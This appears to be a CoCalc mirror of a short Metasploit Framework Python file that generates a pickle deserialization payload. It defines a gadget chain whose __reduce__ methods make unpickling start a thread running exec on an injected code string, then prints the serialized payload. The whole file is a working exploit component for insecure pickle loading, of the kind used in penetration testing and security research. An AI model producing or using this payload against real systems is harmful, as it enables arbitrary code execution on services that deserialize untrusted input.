CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/python_deserialization/py3_exec_threaded.py
Views: 11766
1
import pickle
2
import threading
3
4
class CreateThread:
5
def __reduce__(self):
6
return threading.Thread, (None, __builtins__.exec, None, ('#{escaped}',))
7
8
class GadgetChain:
9
def __reduce__(self):
10
return threading.Thread.start, (CreateThread(),)
11
12
if __name__ == '__main__':
13
pickled = pickle.dumps(GadgetChain(), protocol=0)
14
print(repr(pickled.decode()))
15
16